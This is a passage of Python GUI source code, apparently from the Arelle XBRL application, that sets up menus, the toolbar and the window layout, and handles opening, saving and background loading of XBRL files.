Menu(self.menubar, tearoff=0) validateMenu = Menu(self.menubar, tearoff=0) toolsMenu.add_cascade(label=_("Validation"), menu=validateMenu, underline=0) validateMenu.add_command(label=_("Validate"), underline=0, command=self.validate) self.modelManager.validateDisclosureSystem = self.config.setdefault("validateDisclosureSystem",False) self.validateDisclosureSystem = BooleanVar(value=self.modelManager.validateDisclosureSystem) self.validateDisclosureSystem.trace("w", self.setValidateDisclosureSystem) validateMenu.add_checkbutton(label=_("Disclosure system checks"), underline=0, variable=self.validateDisclosureSystem, onvalue=True, offvalue=False) validateMenu.add_command(label=_("Select disclosure system..."), underline=0, command=self.selectDisclosureSystem) self.modelManager.validateCalcLB = self.config.setdefault("validateCalcLB",False) self.validateCalcLB = BooleanVar(value=self.modelManager.validateCalcLB) self.validateCalcLB.trace("w", self.setValidateCalcLB) validateMenu.add_checkbutton(label=_("Calc Linkbase checks"), underline=0, variable=self.validateCalcLB, onvalue=True, offvalue=False) self.modelManager.validateInferDecimals = self.config.setdefault("validateInferDecimals",True) self.validateInferDecimals = BooleanVar(value=self.modelManager.validateInferDecimals) self.validateInferDecimals.trace("w", self.setValidateInferDecimals) validateMenu.add_checkbutton(label=_("Infer Decimals in calculations"), underline=0, variable=self.validateInferDecimals, onvalue=True, offvalue=False) self.modelManager.validateDedupCalcs = self.config.setdefault("validateDedupCalcs",False) self.validateDedupCalcs = BooleanVar(value=self.modelManager.validateDedupCalcs) self.validateDedupCalcs.trace("w", self.setValidateDedupCalcs) validateMenu.add_checkbutton(label=_("De-duplicate calculations"), underline=0, variable=self.validateDedupCalcs, onvalue=True, offvalue=False) self.modelManager.validateUtr = self.config.setdefault("validateUtr",True) self.validateUtr = BooleanVar(value=self.modelManager.validateUtr) self.validateUtr.trace("w", self.setValidateUtr) validateMenu.add_checkbutton(label=_("Unit Type Registry validation"), underline=0, variable=self.validateUtr, onvalue=True, offvalue=False) for pluginMenuExtender in pluginClassMethods("CntlrWinMain.Menu.Validation"): pluginMenuExtender(self, validateMenu) formulaMenu = Menu(self.menubar, tearoff=0) formulaMenu.add_command(label=_("Parameters..."), underline=0, command=self.formulaParametersDialog) toolsMenu.add_cascade(label=_("Formula"), menu=formulaMenu, underline=0) self.modelManager.formulaOptions = FormulaOptions(self.config.get("formulaParameters")) toolsMenu.add_command(label=_("Compare DTSes..."), underline=0, command=self.compareDTSes) cacheMenu = Menu(self.menubar, tearoff=0) rssWatchMenu = Menu(self.menubar, tearoff=0) rssWatchMenu.add_command(label=_("Options..."), underline=0, command=self.rssWatchOptionsDialog) rssWatchMenu.add_command(label=_("Start"), underline=0, command=lambda: self.rssWatchControl(start=True)) rssWatchMenu.add_command(label=_("Stop"), underline=0, command=lambda: self.rssWatchControl(stop=True)) toolsMenu.add_cascade(label=_("RSS Watch"), menu=rssWatchMenu, underline=0) self.modelManager.rssWatchOptions = self.config.setdefault("rssWatchOptions", {}) toolsMenu.add_cascade(label=_("Internet"), menu=cacheMenu, underline=0) self.webCache.workOffline = self.config.setdefault("workOffline",False) self.workOffline = BooleanVar(value=self.webCache.workOffline) self.workOffline.trace("w", self.setWorkOffline) cacheMenu.add_checkbutton(label=_("Work offline"), underline=0, variable=self.workOffline, onvalue=True, offvalue=False) self.webCache.noCertificateCheck = self.config.setdefault("noCertificateCheck",False) # resets proxy handler stack if true self.noCertificateCheck = BooleanVar(value=self.webCache.noCertificateCheck) self.noCertificateCheck.trace("w", self.setNoCertificateCheck) cacheMenu.add_checkbutton(label=_("No certificate check"), underline=0, variable=self.noCertificateCheck, onvalue=True, offvalue=False) ''' self.webCache.recheck = self.config.setdefault("webRecheck",False) self.webRecheck = BooleanVar(value=self.webCache.webRecheck) self.webRecheck.trace("w", self.setWebRecheck) cacheMenu.add_checkbutton(label=_("Recheck file dates weekly"), underline=0, variable=self.workOffline, onvalue=True, offvalue=False) self.webCache.notify = self.config.setdefault("",False) self.downloadNotify = BooleanVar(value=self.webCache.retrievalNotify) self.downloadNotify.trace("w", self.setRetrievalNotify) cacheMenu.add_checkbutton(label=_("Notify file downloads"), underline=0, variable=self.workOffline, onvalue=True, offvalue=False) ''' cacheMenu.add_command(label=_("Clear cache"), underline=0, command=self.confirmClearWebCache) cacheMenu.add_command(label=_("Manage cache"), underline=0, command=self.manageWebCache) cacheMenu.add_command(label=_("Proxy Server"), underline=0, command=self.setupProxy) cacheMenu.add_command(label=_("HTTP User Agent"), underline=0, command=self.setupUserAgent) self.webCache.httpUserAgent = self.config.get("httpUserAgent") logmsgMenu = Menu(self.menubar, tearoff=0) toolsMenu.add_cascade(label=_("Messages log"), menu=logmsgMenu, underline=0) logmsgMenu.add_command(label=_("Clear"), underline=0, command=self.logClear) logmsgMenu.add_command(label=_("Save to file"), underline=0, command=self.logSaveToFile) self.modelManager.collectProfileStats = self.config.setdefault("collectProfileStats",False) self.collectProfileStats = BooleanVar(value=self.modelManager.collectProfileStats) self.collectProfileStats.trace("w", self.setCollectProfileStats) logmsgMenu.add_checkbutton(label=_("Collect profile stats"), underline=0, variable=self.collectProfileStats, onvalue=True, offvalue=False) logmsgMenu.add_command(label=_("Log profile stats"), underline=0, command=self.showProfileStats) logmsgMenu.add_command(label=_("Clear profile stats"), underline=0, command=self.clearProfileStats) self.showDebugMessages = BooleanVar(value=self.config.setdefault("showDebugMessages",False)) self.showDebugMessages.trace("w", self.setShowDebugMessages) logmsgMenu.add_checkbutton(label=_("Show debug messages"), underline=0, variable=self.showDebugMessages, onvalue=True, offvalue=False) toolsMenu.add_command(label=_("Language..."), underline=0, command=lambda: DialogLanguage.askLanguage(self)) for pluginMenuExtender in pluginClassMethods("CntlrWinMain.Menu.Tools"): pluginMenuExtender(self, toolsMenu) self.menubar.add_cascade(label=_("Tools"), menu=toolsMenu, underline=0) # view menu only if any plug-in additions provided if any (pluginClassMethods("CntlrWinMain.Menu.View")): viewMenu = Menu(self.menubar, tearoff=0) for pluginMenuExtender in pluginClassMethods("CntlrWinMain.Menu.View"): pluginMenuExtender(self, viewMenu) self.menubar.add_cascade(label=_("View"), menu=viewMenu, underline=0) helpMenu = Menu(self.menubar, tearoff=0) for label, command, shortcut_text, shortcut in ( (_("Check for updates"), lambda: Updater.checkForUpdates(self), None, None), (_("Manage plug-ins"), lambda: DialogPluginManager.dialogPluginManager(self), None, None), (_("Manage packages"), lambda: DialogPackageManager.dialogPackageManager(self), None, None), ("PLUG-IN", "CntlrWinMain.Menu.Help.Upper", None, None), (None, None, None, None), (_("About..."), self.helpAbout, None, None), ("PLUG-IN", "CntlrWinMain.Menu.Help.Lower", None, None), ): if label is None: helpMenu.add_separator() elif label == "PLUG-IN": for pluginMenuExtender in pluginClassMethods(command): pluginMenuExtender(self, helpMenu) else: helpMenu.add_command(label=label, underline=0, command=command, accelerator=shortcut_text) self.parent.bind(shortcut, command) for pluginMenuExtender in pluginClassMethods("CntlrWinMain.Menu.Help"): pluginMenuExtender(self, toolsMenu) self.menubar.add_cascade(label=_("Help"), menu=helpMenu, underline=0) windowFrame = Frame(self.parent) self.statusbar = Label(windowFrame, text=_("Ready..."), anchor=W) self.statusbarTimerId = self.statusbar.after(5000, self.uiClearStatusTimerEvent) self.statusbar.grid(row=2, column=0, columnspan=2, sticky=EW) #self.balloon = tkinter.tix.Balloon(windowFrame, statusbar=self.statusbar) self.toolbar_images = [] toolbar = Frame(windowFrame) menubarColumn = 0 self.validateTooltipText = StringVar() for image, command, toolTip, statusMsg in ( #("images/toolbarNewFile.gif", self.fileNew), ("toolbarOpenFile.gif", self.fileOpen, _("Open local file"), _("Open by choosing a local XBRL file, testcase, or archive file")), ("toolbarOpenWeb.gif", self.webOpen, _("Open web file"), _("Enter an http:// URL of an XBRL file or testcase")), ("toolbarReopen.gif", self.fileReopen, _("Reopen"), _("Reopen last opened XBRL file or testcase(s)")), ("toolbarSaveFile.gif", self.fileSaveExistingFile, _("Save file"), _("Saves currently selected local XBRL file")), ("toolbarClose.gif", self.fileClose, _("Close"), _("Closes currently selected instance/DTS or testcase(s)")), (None,None,None,None), ("toolbarFindMenu.gif", self.find, _("Find"), _("Find dialog for scope and method of searching")), (None,None,None,None), ("toolbarValidate.gif", self.validate, self.validateTooltipText, _("Validate currently selected DTS or testcase(s)")), ("toolbarCompare.gif", self.compareDTSes, _("Compare DTSes"), _("compare two DTSes")), (None,None,None,None), ("toolbarLogClear.gif", self.logClear, _("Messages Log | Clear"), _("Clears the messages log")), #(Combobox(toolbar, textvariable=self.findVar, values=self.findValues, # ), self.logClear, _("Find options"), _("Select of find options")), ): if command is None: tbControl = Separator(toolbar, orient=VERTICAL) tbControl.grid(row=0, column=menubarColumn, padx=6) elif isinstance(image, Combobox): tbControl = image tbControl.grid(row=0, column=menubarColumn) else: image = os.path.join(self.imagesDir, image) try: image = PhotoImage(file=image) self.toolbar_images.append(image) tbControl = Button(toolbar, image=image, command=command, style="Toolbutton", padding=toolbarButtonPadding) tbControl.grid(row=0, column=menubarColumn) except TclError as err: print(err) if isinstance(toolTip,StringVar): ToolTip(tbControl, textvariable=toolTip, wraplength=240) else: ToolTip(tbControl, text=toolTip) menubarColumn += 1 for toolbarExtender in pluginClassMethods("CntlrWinMain.Toolbar"): toolbarExtender(self, toolbar) toolbar.grid(row=0, column=0, sticky=(N, W)) paneWinTopBtm = PanedWindow(windowFrame, orient=VERTICAL) paneWinTopBtm.grid(row=1, column=0, sticky=(N, S, E, W)) paneWinLeftRt = tkinter.PanedWindow(paneWinTopBtm, orient=HORIZONTAL) paneWinLeftRt.grid(row=0, column=0, sticky=(N, S, E, W)) paneWinLeftRt.bind("<<NotebookTabChanged>>", self.onTabChanged) paneWinTopBtm.add(paneWinLeftRt) self.tabWinTopLeft = Notebook(paneWinLeftRt, width=250, height=300) self.tabWinTopLeft.grid(row=0, column=0, sticky=(N, S, E, W)) paneWinLeftRt.add(self.tabWinTopLeft) self.tabWinTopRt = Notebook(paneWinLeftRt) self.tabWinTopRt.grid(row=0, column=0, sticky=(N, S, E, W)) self.tabWinTopRt.bind("<<NotebookTabChanged>>", self.onTabChanged) paneWinLeftRt.add(self.tabWinTopRt) self.tabWinBtm = Notebook(paneWinTopBtm) self.tabWinBtm.grid(row=0, column=0, sticky=(N, S, E, W)) self.tabWinBtm.bind("<<NotebookTabChanged>>", self.onTabChanged) paneWinTopBtm.add(self.tabWinBtm) from arelle import ViewWinList self.logView = ViewWinList.ViewList(None, self.tabWinBtm, _("messages"), True) self.startLogging(logHandler=WinMainLogHandler(self)) # start logger logViewMenu = self.logView.contextMenu(contextMenuClick=self.contextMenuClick) logViewMenu.add_command(label=_("Clear"), underline=0, command=self.logClear) logViewMenu.add_command(label=_("Save to file"), underline=0, command=self.logSaveToFile) if self.hasClipboard: logViewMenu.add_command(label=_("Copy to clipboard"), underline=0, command=lambda: self.logView.copyToClipboard(cntlr=self)) windowFrame.grid(row=0, column=0, sticky=(N,S,E,W)) windowFrame.columnconfigure(0, weight=999) windowFrame.columnconfigure(1, weight=1) windowFrame.rowconfigure(0, weight=1) windowFrame.rowconfigure(1, weight=999) windowFrame.rowconfigure(2, weight=1) paneWinTopBtm.columnconfigure(0, weight=1) paneWinTopBtm.rowconfigure(0, weight=1) paneWinLeftRt.columnconfigure(0, weight=1) paneWinLeftRt.rowconfigure(0, weight=1) self.tabWinTopLeft.columnconfigure(0, weight=1) self.tabWinTopLeft.rowconfigure(0, weight=1) self.tabWinTopRt.columnconfigure(0, weight=1) self.tabWinTopRt.rowconfigure(0, weight=1) self.tabWinBtm.columnconfigure(0, weight=1) self.tabWinBtm.rowconfigure(0, weight=1) window = self.parent.winfo_toplevel() window.columnconfigure(0, weight=1) window.rowconfigure(0, weight=1) priorState = self.config.get('windowState') screenW = self.parent.winfo_screenwidth() - 16 # allow for window edge screenH = self.parent.winfo_screenheight() - 64 # allow for caption and menus if priorState == "zoomed": self.parent.state("zoomed") w = screenW h = screenH else: priorGeometry = re.match("(\d+)x(\d+)[+]?([-]?\d+)[+]?([-]?\d+)",self.config.get('windowGeometry')) if priorGeometry and priorGeometry.lastindex >= 4: try: w = int(priorGeometry.group(1)) h = int(priorGeometry.group(2)) x = int(priorGeometry.group(3)) y = int(priorGeometry.group(4)) if x + w > screenW: if w < screenW: x = screenW - w else: x = 0 w = screenW elif x < 0: x = 0 if w > screenW: w = screenW if y + h > screenH: if y < screenH: y = screenH - h else: y = 0 h = screenH elif y < 0: y = 0 if h > screenH: h = screenH self.parent.geometry("{0}x{1}+{2}+{3}".format(w,h,x,y)) except: pass # set top/btm divider topLeftW, topLeftH = self.config.get('tabWinTopLeftSize',(250,300)) if 10 < topLeftW < w - 60: self.tabWinTopLeft.config(width=topLeftW) if 10 < topLeftH < h - 60: self.tabWinTopLeft.config(height=topLeftH) self.parent.title(_("arelle - Unnamed")) self.logFile = None self.uiThreadQueue = queue.Queue() # background processes communicate with ui thread self.uiThreadChecker(self.statusbar) # start background queue self.modelManager.loadCustomTransforms() # load if custom transforms not loaded if not self.modelManager.disclosureSystem.select(self.config.setdefault("disclosureSystem", None)): self.validateDisclosureSystem.set(False) self.modelManager.validateDisclosureSystem = False # load argv overrides for modelManager options lastArg = None for arg in sys.argv: if not arg: continue if lastArg == "--skipLoading": # skip loading matching files (list of unix patterns) self.modelManager.skipLoading = re.compile('|'.join(fnmatch.translate(f) for f in arg.split('|'))) elif arg == "--skipDTS": # skip DTS loading, discovery, etc self.modelManager.skipDTS = True lastArg = arg self.setValidateTooltipText() def onTabChanged(self, event, *args): try: widgetIndex = event.widget.index("current") tabId = event.widget.tabs()[widgetIndex] for widget in event.widget.winfo_children(): if str(widget) == tabId: self.currentView = widget.view break except (AttributeError, TypeError, TclError): pass def loadFileMenuHistory(self): self.fileMenu.delete(self.fileMenuLength, self.fileMenuLength + 2) fileHistory = self.config.setdefault("fileHistory", []) self.recentFilesMenu = Menu(self.menubar, tearoff=0) for i in range( min( len(fileHistory), 10 ) ): self.recentFilesMenu.add_command( label=fileHistory[i], command=lambda j=i: self.fileOpenFile(self.config["fileHistory"][j])) self.fileMenu.add_cascade(label=_("Recent files"), menu=self.recentFilesMenu, underline=0) importHistory = self.config.setdefault("importHistory", []) self.recentAttachMenu = Menu(self.menubar, tearoff=0) for i in range( min( len(importHistory), 10 ) ): self.recentAttachMenu.add_command( label=importHistory[i], command=lambda j=i: self.fileOpenFile(self.config["importHistory"][j],importToDTS=True)) self.fileMenu.add_cascade(label=_("Recent imports"), menu=self.recentAttachMenu, underline=0) self.packagesMenu = Menu(self.menubar, tearoff=0) hasPackages = False for i, packageInfo in enumerate(sorted(PackageManager.packagesConfig.get("packages", []), key=lambda packageInfo: (packageInfo.get("name",""),packageInfo.get("version",""))), start=1): name = packageInfo.get("name", "package{}".format(i)) version = packageInfo.get("version") if version: name = "{} ({})".format(name, version) URL = packageInfo.get("URL") if name and URL and packageInfo.get("status") == "enabled": self.packagesMenu.add_command( label=name, command=lambda url=URL: self.fileOpenFile(url)) hasPackages = True if hasPackages: self.fileMenu.add_cascade(label=_("Packages"), menu=self.packagesMenu, underline=0) def onPackageEnablementChanged(self): self.loadFileMenuHistory() def fileNew(self, *ignore): if not self.okayToContinue(): return self.logClear() self.dirty = False self.filename = None self.data = {} self.parent.title(_("arelle - Unnamed")); self.modelManager.load(None); def getViewAndModelXbrl(self): view = getattr(self, "currentView", None) if view: modelXbrl = None try: modelXbrl = view.modelXbrl return (view, modelXbrl) except AttributeError: return (view, None) return (None, None) def okayToContinue(self): view, modelXbrl = self.getViewAndModelXbrl() documentIsModified = False if view is not None: try: # What follows only exists in ViewWinRenderedGrid view.updateInstanceFromFactPrototypes() except AttributeError: pass if modelXbrl is not None: documentIsModified = modelXbrl.isModified() if not self.dirty and (not documentIsModified): return True reply = tkinter.messagebox.askokcancel( _("arelle - Unsaved Changes"), _("Are you sure to close the current instance without saving?\n (OK will discard changes.)"), parent=self.parent) if reply is None: return False else: return reply def fileSave(self, event=None, view=None, fileType=None, filenameFromInstance=False, *ignore): if view is None: view = getattr(self, "currentView", None) if view is not None: filename = None modelXbrl = None try: modelXbrl = view.modelXbrl except AttributeError: pass if filenameFromInstance: try: modelXbrl = view.modelXbrl filename = modelXbrl.modelDocument.filepath if filename.endswith('.xsd'): # DTS entry point, no instance saved yet! filename = None except AttributeError: pass if isinstance(view, ViewWinRenderedGrid.ViewRenderedGrid): initialdir = os.path.dirname(modelXbrl.modelDocument.uri) if fileType in ("html", "xml", None): if fileType == "html" and filename is None: filename = self.uiFileDialog("save", title=_("arelle - Save HTML-rendered Table"), initialdir=initialdir, filetypes=[(_("HTML file .html"), "*.html"), (_("HTML file .htm"), "*.htm")], defaultextension=".html") elif fileType == "xml" and filename is None: filename = self.uiFileDialog("save", title=_("arelle - Save Table Layout Model"), initialdir=initialdir, filetypes=[(_("Layout model file .xml"), "*.xml")], defaultextension=".xml") else: # ask file type if filename is None: filename = self.uiFileDialog("save", title=_("arelle - Save XBRL Instance or HTML-rendered Table"), initialdir=initialdir, filetypes=[(_("XBRL instance .xbrl"), "*.xbrl"), (_("XBRL instance .xml"), "*.xml"), (_("HTML table .html"), "*.html"), (_("HTML table .htm"), "*.htm")], defaultextension=".html") if filename and (filename.endswith(".xbrl") or filename.endswith(".xml")): view.saveInstance(filename) return True if not filename: return False try: ViewFileRenderedGrid.viewRenderedGrid(modelXbrl, filename, lang=self.labelLang, sourceView=view) except (IOError, EnvironmentError) as err: tkinter.messagebox.showwarning(_("arelle - Error"), _("Failed to save {0}:\n{1}").format( filename, err), parent=self.parent) return True elif fileType == "xbrl": return self.uiFileDialog("save", title=_("arelle - Save Instance"), initialdir=initialdir, filetypes=[(_("XBRL instance .xbrl"), "*.xbrl"), (_("XBRL instance .xml"), "*.xml")], defaultextension=".xbrl") elif isinstance(view, ViewWinTests.ViewTests) and modelXbrl.modelDocument.type in (ModelDocument.Type.TESTCASESINDEX, ModelDocument.Type.TESTCASE): filename = self.uiFileDialog("save", title=_("arelle - Save Test Results"), initialdir=os.path.dirname(self.modelManager.modelXbrl.modelDocument.uri), filetypes=[(_("XLSX file"), "*.xlsx"),(_("CSV file"), "*.csv"),(_("HTML file"), "*.html"),(_("XML file"), "*.xml"),(_("JSON file"), "*.json")], defaultextension=".xlsx") if not filename: return False try: ViewFileTests.viewTests(self.modelManager.modelXbrl, filename) except (IOError, EnvironmentError) as err: tkinter.messagebox.showwarning(_("arelle - Error"), _("Failed to save {0}:\n{1}").format( filename, err), parent=self.parent) return True elif isinstance(view, ViewWinTree.ViewTree): filename = self.uiFileDialog("save", title=_("arelle - Save {0}").format(view.tabTitle), initialdir=os.path.dirname(self.modelManager.modelXbrl.modelDocument.uri), filetypes=[(_("XLSX file"), "*.xlsx"),(_("CSV file"), "*.csv"),(_("HTML file"), "*.html"),(_("XML file"), "*.xml"),(_("JSON file"), "*.json")], defaultextension=".xlsx") if not filename: return False try: if isinstance(view, ViewWinRoleTypes.ViewRoleTypes): ViewFileRoleTypes.viewRoleTypes(modelXbrl, filename, view.tabTitle, view.isArcrole, lang=view.lang) elif isinstance(view, ViewWinConcepts.ViewConcepts): ViewFileConcepts.viewConcepts(modelXbrl, filename, labelrole=view.labelrole, lang=view.lang) elif isinstance(view, ViewWinFactList.ViewFactList): ViewFileFactList.viewFacts(modelXbrl, filename, labelrole=view.labelrole, lang=view.lang) else: ViewFileRelationshipSet.viewRelationshipSet(modelXbrl, filename, view.tabTitle, view.arcrole, labelrole=view.labelrole, lang=view.lang) except (IOError, EnvironmentError) as err: tkinter.messagebox.showwarning(_("arelle - Error"), _("Failed to save {0}:\n{1}").format( filename, err), parent=self.parent) return True elif isinstance(view, ViewWinXml.ViewXml) and self.modelManager.modelXbrl.formulaOutputInstance: filename = self.uiFileDialog("save", title=_("arelle - Save Formula Result Instance Document"), initialdir=os.path.dirname(self.modelManager.modelXbrl.modelDocument.uri), filetypes=[(_("XBRL output instance .xml"), "*.xml"), (_("XBRL output instance .xbrl"), "*.xbrl")], defaultextension=".xml") if not filename: return False try: from arelle import XmlUtil with open(filename, "w") as fh: XmlUtil.writexml(fh, self.modelManager.modelXbrl.formulaOutputInstance.modelDocument.xmlDocument, encoding="utf-8") self.addToLog(_("[info] Saved formula output instance to {0}").format(filename) ) except (IOError, EnvironmentError) as err: tkinter.messagebox.showwarning(_("arelle - Error"), _("Failed to save {0}:\n{1}").format( self.filename, err), parent=self.parent) return True tkinter.messagebox.showwarning(_("arelle - Save what?"), _("Nothing has been selected that can be saved. \nPlease select a view pane that can be saved."), parent=self.parent) ''' if self.filename is None: filename = self.uiFileDialog("save", title=_("arelle - Save File"), initialdir=".", filetypes=[(_("Xbrl file"), "*.x*")], defaultextension=".xbrl") if not filename: return False self.filename = filename if not self.filename.endswith(".xbrl"): self.filename += ".xbrl" try: with open(self.filename, "wb") as fh: pickle.dump(self.data, fh, pickle.HIGHEST_PROTOCOL) self.dirty = False self.uiShowStatus(_("Saved {0} items to {1}").format( len(self.data), self.filename), clearAfter=5000) self.parent.title(_("arelle - {0}").format( os.path.basename(self.filename))) except (EnvironmentError, pickle.PickleError) as err: tkinter.messagebox.showwarning(_("arelle - Error"), _("Failed to save {0}:\n{1}").format( self.filename, err), parent=self.parent) return True; ''' def fileSaveExistingFile(self, event=None, view=None, fileType=None, *ignore): return self.fileSave(view=view, fileType=fileType, filenameFromInstance=True) def saveDTSpackage(self): self.modelManager.saveDTSpackage(allDTSes=True) def fileOpen(self, *ignore): if not self.okayToContinue(): return filename = self.uiFileDialog("open", title=_("arelle - Open file"), initialdir=self.config.setdefault("fileOpenDir","."), filetypes=[(_("XBRL files"), "*.*")], defaultextension=".xbrl") if self.isMSW and "/Microsoft/Windows/Temporary Internet Files/Content.IE5/" in filename: tkinter.messagebox.showerror(_("Loading web-accessed files"), _('Please open web-accessed files with the second toolbar button, "Open web file", or the File menu, second entry, "Open web..."'), parent=self.parent) return if os.sep == "\\": filename = filename.replace("/", "\\") self.fileOpenFile(filename) def importFileOpen(self, *ignore): if not self.modelManager.modelXbrl or self.modelManager.modelXbrl.modelDocument.type not in ( ModelDocument.Type.SCHEMA, ModelDocument.Type.LINKBASE, ModelDocument.Type.INSTANCE, ModelDocument.Type.INLINEXBRL): tkinter.messagebox.showwarning(_("arelle - Warning"), _("Import requires an opened DTS"), parent=self.parent) return False filename = self.uiFileDialog("open", title=_("arelle - Import file into opened DTS"), initialdir=self.config.setdefault("importOpenDir","."), filetypes=[(_("XBRL files"), "*.*")], defaultextension=".xml") if self.isMSW and "/Microsoft/Windows/Temporary Internet Files/Content.IE5/" in filename: tkinter.messagebox.showerror(_("Loading web-accessed files"), _('Please import web-accessed files with the File menu, fourth entry, "Import web..."'), parent=self.parent) return if os.sep == "\\": filename = filename.replace("/", "\\") self.fileOpenFile(filename, importToDTS=True) def updateFileHistory(self, url, importToDTS): if isinstance(url, list): # may be multi-doc ixds if len(url) != 1: return url = url[0] key = "importHistory" if importToDTS else "fileHistory" fileHistory = self.config.setdefault(key, []) while fileHistory.count(url) > 0: fileHistory.remove(url) if len(fileHistory) > 10: fileHistory[10:] = [] fileHistory.insert(0, url) self.config[key] = fileHistory self.loadFileMenuHistory() self.saveConfig() def fileOpenFile(self, filename, importToDTS=False, selectTopView=False): if filename: for xbrlLoadedMethod in pluginClassMethods("CntlrWinMain.Xbrl.Open"): filename = xbrlLoadedMethod(self, filename) # runs in GUI thread, allows mapping filename, mult return filename filesource = None # check for archive files filesource = openFileSource(filename, self, checkIfXmlIsEis=self.modelManager.disclosureSystem and self.modelManager.disclosureSystem.validationType == "EFM") if filesource.isArchive: if not filesource.selection: # or filesource.isRss: from arelle import DialogOpenArchive filename = DialogOpenArchive.askArchiveFile(self, filesource) if filename and filesource.basefile and not isHttpUrl(filesource.basefile): self.config["fileOpenDir"] = os.path.dirname(filesource.baseurl) filesource.loadTaxonomyPackageMappings() # if a package, load mappings if not loaded yet if filename: if not isinstance(filename, (dict, list)): # json objects if importToDTS: if not isHttpUrl(filename): self.config["importOpenDir"] = os.path.dirname(filename) else: if not isHttpUrl(filename): self.config["fileOpenDir"] = os.path.dirname(filesource.baseurl if filesource.isArchive else filename) self.updateFileHistory(filename, importToDTS) elif len(filename) == 1: self.updateFileHistory(filename[0], importToDTS) thread = threading.Thread(target=self.backgroundLoadXbrl, args=(filesource,importToDTS,selectTopView), daemon=True).start() def webOpen(self, *ignore): if not self.okayToContinue(): return url = DialogURL.askURL(self.parent, buttonSEC=True, buttonRSS=True) if url: self.updateFileHistory(url, False) for xbrlLoadedMethod in pluginClassMethods("CntlrWinMain.Xbrl.Open"): url = xbrlLoadedMethod(self, url) # runs in GUI thread, allows mapping url, mult return url filesource = openFileSource(url,self) if filesource.isArchive and not filesource.selection: # or filesource.isRss: from arelle import DialogOpenArchive url = DialogOpenArchive.askArchiveFile(self, filesource) self.updateFileHistory(url, False) thread = threading.Thread(target=self.backgroundLoadXbrl, args=(filesource,False,False), daemon=True).start() def importWebOpen(self, *ignore): if not self.modelManager.modelXbrl or self.modelManager.modelXbrl.modelDocument.type not in ( ModelDocument.Type.SCHEMA, ModelDocument.Type.LINKBASE, ModelDocument.Type.INSTANCE, ModelDocument.Type.INLINEXBRL): tkinter.messagebox.showwarning(_("arelle - Warning"), _("Import requires an opened DTS"), parent=self.parent) return False url = DialogURL.askURL(self.parent, buttonSEC=False, buttonRSS=False) if url: self.fileOpenFile(url, importToDTS=True) def backgroundLoadXbrl(self, filesource, importToDTS, selectTopView): startedAt = time.time() try: if importToDTS: action = _("imported") profileStat = "import" modelXbrl = self.modelManager.modelXbrl if modelXbrl: ModelDocument.load(modelXbrl, filesource.url, isSupplemental=importToDTS) modelXbrl.relationshipSets.clear() # relationships have to be re-cached else: action = _("loaded") profileStat = "load" modelXbrl = self.modelManager.load(filesource, _("views loading"), checkModifiedTime=isHttpUrl(filesource.url)) # check modified time if GUI-loading from web except ModelDocument.LoadingException: self.showStatus(_("Loading terminated, unrecoverable error"), 15000) return except Exception as err: msg = _("Exception loading {0}: {1}, at {2}").format( filesource.url, err, traceback.format_tb(sys.exc_info()[2])) # not sure if message box can be shown from background thread # tkinter.messagebox.showwarning(_("Exception loading"),msg, parent=self.parent) self.addToLog(msg); self.showStatus(_("Loading terminated, unrecoverable error"), 15000) return if modelXbrl and modelXbrl.modelDocument: statTime = time.time() - startedAt modelXbrl.profileStat(profileStat, statTime) self.addToLog(format_string(self.modelManager.locale, _("%s in %.2f secs"), (action, statTime))) if modelXbrl.hasTableRendering: self.showStatus(_("Initializing table rendering")) RenderingEvaluator.init(modelXbrl) self.showStatus(_("{0}, preparing views").format(action)) self.waitForUiThreadQueue() # force status update self.uiThreadQueue.put((self.showLoadedXbrl, [modelXbrl, importToDTS, selectTopView])) else: self.addToLog(format_string(self.modelManager.locale, _("not successfully %s in %.2f secs"), (action, time.time() - startedAt))) self.showStatus(_("Loading terminated"), 15000) def showLoadedXbrl(self, modelXbrl, attach, selectTopView=False): startedAt = time.time() currentAction = "setting title" topView = None self.currentView = None try: if attach: modelXbrl.closeViews() self.parent.title(_("arelle - {0}").format( os.path.basename(modelXbrl.modelDocument.uri))) self.setValidateTooltipText() if modelXbrl.modelDocument.type in ModelDocument.Type.TESTCASETYPES: currentAction = "tree view of tests" ViewWinTests.viewTests(modelXbrl, self.tabWinTopRt) topView = modelXbrl.views[-1] elif modelXbrl.modelDocument.type == ModelDocument.Type.VERSIONINGREPORT: currentAction = "view of versioning report" ViewWinVersReport.viewVersReport(modelXbrl, self.tabWinTopRt) from arelle.ViewWinDiffs import ViewWinDiffs ViewWinDiffs(modelXbrl, self.tabWinBtm, lang=self.labelLang) elif modelXbrl.modelDocument.type == ModelDocument.Type.RSSFEED: currentAction = "view of RSS feed" ViewWinRssFeed.viewRssFeed(modelXbrl, self.tabWinTopRt) topView = modelXbrl.views[-1] else: if modelXbrl.hasTableIndexing: currentAction = "table index view" ViewWinRelationshipSet.viewRelationshipSet(modelXbrl, self.tabWinTopLeft, ("Tables", (XbrlConst.euGroupTable,)), lang=self.labelLang, treeColHdr="Table Index", showLinkroles=False, showColumns=False, expandAll=True) elif modelXbrl.modelDocument.type in (ModelDocument.Type.INSTANCE, ModelDocument.Type.INLINEXBRL, ModelDocument.Type.INLINEXBRLDOCUMENTSET): currentAction = "table index view" firstTableLinkroleURI, indexLinkroleURI = TableStructure.evaluateTableIndex(modelXbrl, lang=self.labelLang) if firstTableLinkroleURI is not None: ViewWinRelationshipSet.viewRelationshipSet(modelXbrl, self.tabWinTopLeft, ("Tables", (XbrlConst.parentChild,)), lang=self.labelLang, linkrole=indexLinkroleURI, treeColHdr="Table Index", showRelationships=False, showColumns=False, expandAll=False, hasTableIndex=True) ''' elif (modelXbrl.modelDocument.type in (ModelDocument.Type.INSTANCE, ModelDocument.Type.INLINEXBRL, ModelDocument.Type.INLINEXBRLDOCUMENTSET) and not modelXbrl.hasTableRendering): currentAction = "facttable ELRs view" ViewWinRelationshipSet.viewRelationshipSet(modelXbrl, self.tabWinTopLeft, ("Tables", (XbrlConst.parentChild,)), lang=self.labelLang, treeColHdr="Fact Table Index", showLinkroles=True, showColumns=False, showRelationships=False, expandAll=False) ''' currentAction = "tree view of DTS" ViewWinDTS.viewDTS(modelXbrl, self.tabWinTopLeft, altTabWin=self.tabWinTopRt) currentAction = "view of concepts" ViewWinConcepts.viewConcepts(modelXbrl, self.tabWinBtm, "Concepts", lang=self.labelLang, altTabWin=self.tabWinTopRt) if modelXbrl.hasTableRendering: # show rendering grid even without any facts ViewWinRenderedGrid.viewRenderedGrid(modelXbrl, self.tabWinTopRt, lang=self.labelLang) if topView is None: topView = modelXbrl.views[-1] if modelXbrl.modelDocument.type in (ModelDocument.Type.INSTANCE, 